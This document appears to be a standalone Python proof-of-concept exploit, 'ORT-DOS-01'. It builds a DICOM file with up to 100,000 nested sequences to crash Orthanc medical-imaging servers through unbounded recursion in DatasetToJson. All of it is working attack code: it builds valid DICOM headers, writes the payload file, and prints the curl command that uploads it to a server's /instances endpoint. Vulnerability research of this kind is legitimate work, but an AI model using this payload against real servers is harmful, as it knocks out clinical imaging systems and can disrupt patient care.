#!/usr/bin/env python3
"""
ORT-DOS-01: Stack Overflow via Deeply Nested DICOM Sequences
Orthanc DatasetToJson recursion has no depth limit.
Uploading a DICOM with 10,000+ nested sequences crashes the server.
"""

import struct
import sys
import io
import time
import random

DEPTH = 100000   # levels of sequence nesting; adjust to taste

def pack_tag(group, element):
    return struct.pack('<HH', group, element)

def pack_uint32(val):
    return struct.pack('<I', val)

UNDEFINED_LEN = b'\xff\xff\xff\xff'   # 0xFFFFFFFF
ITEM_TAG       = pack_tag(0xFFFE, 0xE000) + UNDEFINED_LEN
ITEM_END_TAG   = pack_tag(0xFFFE, 0xE00D) + b'\x00\x00\x00\x00'
SEQ_END_TAG    = pack_tag(0xFFFE, 0xE0DD) + b'\x00\x00\x00\x00'


def make_unique_uid():
    """Generate a unique DICOM UID using timestamp + random suffix."""
    ts = int(time.time() * 1000)
    rnd = random.randint(1000, 9999)
    uid = f'2.25.{ts}{rnd}'
    if len(uid) % 2:
        uid += '\x00'
    return uid.encode('ascii')


def build_dicom_preamble(sop_inst_uid):
    """Standard DICOM file meta-information header (minimal)."""
    buf = io.BytesIO()

    # 128-byte preamble + DICM magic
    buf.write(b'\x00' * 128)
    buf.write(b'DICM')

    meta_elements = io.BytesIO()

    # (0002,0001) FileMetaInformationVersion OB
    meta_elements.write(pack_tag(0x0002, 0x0001))
    meta_elements.write(b'OB')
    meta_elements.write(b'\x00\x00')  # reserved
    meta_elements.write(struct.pack('<I', 2))
    meta_elements.write(b'\x00\x01')

    # (0002,0002) MediaStorageSOPClassUID UI
    sop_class = b'1.2.840.10008.5.1.4.1.1.2\x00'  # CT Image Storage
    meta_elements.write(pack_tag(0x0002, 0x0002))
    meta_elements.write(b'UI')
    meta_elements.write(struct.pack('<H', len(sop_class)))
    meta_elements.write(sop_class)

    # (0002,0003) MediaStorageSOPInstanceUID UI
    meta_elements.write(pack_tag(0x0002, 0x0003))
    meta_elements.write(b'UI')
    meta_elements.write(struct.pack('<H', len(sop_inst_uid)))
    meta_elements.write(sop_inst_uid)

    # (0002,0010) TransferSyntaxUID UI (Explicit VR Little Endian)
    tsuid = b'1.2.840.10008.1.2.1\x00'
    meta_elements.write(pack_tag(0x0002, 0x0010))
    meta_elements.write(b'UI')
    meta_elements.write(struct.pack('<H', len(tsuid)))
    meta_elements.write(tsuid)

    meta_bytes = meta_elements.getvalue()

    # (0002,0000) FileMetaInformationGroupLength UL
    buf.write(pack_tag(0x0002, 0x0000))
    buf.write(b'UL')
    buf.write(struct.pack('<H', 4))
    buf.write(pack_tag(0x0000, 0x0000))  # placeholder
    buf.seek(-4, 1)
    buf.write(struct.pack('<I', len(meta_bytes)))
    buf.write(meta_bytes)

    return buf.getvalue()


def build_required_tags(sop_inst_uid):
    """Minimum required DICOM dataset tags (Explicit VR Little Endian)."""
    buf = io.BytesIO()

    def write_tag_cs(b, group, elem, value):
        val = value.encode('ascii')
        if len(val) % 2: val += b' '
        b.write(pack_tag(group, elem))
        b.write(b'CS')
        b.write(struct.pack('<H', len(val)))
        b.write(val)

    def write_tag_ui_bytes(b, group, elem, value_bytes):
        val = value_bytes
        if len(val) % 2: val += b'\x00'
        b.write(pack_tag(group, elem))
        b.write(b'UI')
        b.write(struct.pack('<H', len(val)))
        b.write(val)

    def write_tag_ui(b, group, elem, value):
        write_tag_ui_bytes(b, group, elem, value.encode('ascii'))

    def write_tag_lo(b, group, elem, value):
        val = value.encode('latin-1')
        if len(val) % 2: val += b' '
        b.write(pack_tag(group, elem))
        b.write(b'LO')
        b.write(struct.pack('<H', len(val)))
        b.write(val)

    def write_tag_us(b, group, elem, value):
        b.write(pack_tag(group, elem))
        b.write(b'US')
        b.write(struct.pack('<H', 2))
        b.write(struct.pack('<H', value))

    def write_tag_da(b, group, elem, value):
        val = value.encode('ascii')
        if len(val) % 2: val += b' '
        b.write(pack_tag(group, elem))
        b.write(b'DA')
        b.write(struct.pack('<H', len(val)))
        b.write(val)

    # (0008,0016) SOP Class UID
    write_tag_ui(buf, 0x0008, 0x0016, '1.2.840.10008.5.1.4.1.1.2')
    # (0008,0018) SOP Instance UID - unique per run
    write_tag_ui_bytes(buf, 0x0008, 0x0018, sop_inst_uid)
    # (0008,0020) Study Date
    write_tag_da(buf, 0x0008, 0x0020, '20200101')
    # (0008,0060) Modality
    write_tag_cs(buf, 0x0008, 0x0060, 'CT')
    # (0010,0010) Patient Name
    write_tag_lo(buf, 0x0010, 0x0010, 'Test^Patient')
    # (0010,0020) Patient ID
    write_tag_lo(buf, 0x0010, 0x0020, 'TEST001')
    # (0020,000D) Study Instance UID
    write_tag_ui(buf, 0x0020, 0x000D, '1.2.3.4.5')
    # (0020,000E) Series Instance UID
    write_tag_ui(buf, 0x0020, 0x000E, '1.2.3.4.5.6')
    # (0020,0013) Instance Number
    write_tag_lo(buf, 0x0020, 0x0013, '1')
    # (0028,0002) SamplesPerPixel
    write_tag_us(buf, 0x0028, 0x0002, 1)
    # (0028,0010) Rows
    write_tag_us(buf, 0x0028, 0x0010, 1)
    # (0028,0011) Columns
    write_tag_us(buf, 0x0028, 0x0011, 1)
    # (0028,0100) BitsAllocated
    write_tag_us(buf, 0x0028, 0x0100, 8)
    # (0028,0101) BitsStored
    write_tag_us(buf, 0x0028, 0x0101, 8)
    # (0028,0102) HighBit
    write_tag_us(buf, 0x0028, 0x0102, 7)
    # (0028,0103) PixelRepresentation
    write_tag_us(buf, 0x0028, 0x0103, 0)

    return buf.getvalue()


def build_nested_sequences(depth):
    """
    Build a DICOM element: (7777,0001) SQ with DEPTH levels of nesting.
    Uses undefined lengths (0xFFFFFFFF) with delimiters.
    """
    buf = io.BytesIO()

    # Each level: SQ tag (undefined len) + ITEM tag (undefined len) + ... + ITEM_END + SEQ_END
    # Innermost level: empty item

    for _ in range(depth):
        # Private SQ tag (7777,0001) with explicit VR, undefined length
        buf.write(pack_tag(0x7777, 0x0001))
        buf.write(b'SQ')
        buf.write(b'\x00\x00')   # reserved
        buf.write(UNDEFINED_LEN)
        buf.write(ITEM_TAG)

    # Innermost item: empty
    for _ in range(depth):
        buf.write(ITEM_END_TAG)
        buf.write(SEQ_END_TAG)

    return buf.getvalue()


def build_pixel_data():
    """Minimal pixel data: 1 byte for 1x1 grayscale image."""
    buf = io.BytesIO()
    # (7FE0,0010) PixelData OB
    buf.write(pack_tag(0x7FE0, 0x0010))
    buf.write(b'OB')
    buf.write(b'\x00\x00')   # reserved
    buf.write(struct.pack('<I', 1))
    buf.write(b'\x00')
    return buf.getvalue()


def build_dicom(depth):
    uid = make_unique_uid()
    preamble = build_dicom_preamble(uid)
    dataset = build_required_tags(uid)
    dataset += build_nested_sequences(depth)
    dataset += build_pixel_data()
    return preamble + dataset



if __name__ == "__main__":
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else DEPTH
    out_path = sys.argv[2] if len(sys.argv) > 2 else f"/tmp/poc_nested_seq_{depth}.dcm"

    print(f"[*] Building DICOM with {depth} nested sequences...")
    data = build_dicom(depth)
    print(f"[*] Payload size: {len(data)} bytes")

    with open(out_path, 'wb') as f:
        f.write(data)
    print(f"[+] Saved to {out_path}")
    print(f"[*] Upload manually: curl -s -X POST http://<host>:8042/instances \\")
    print(f"      -H 'Content-Type: application/dicom' --data-binary @{out_path}")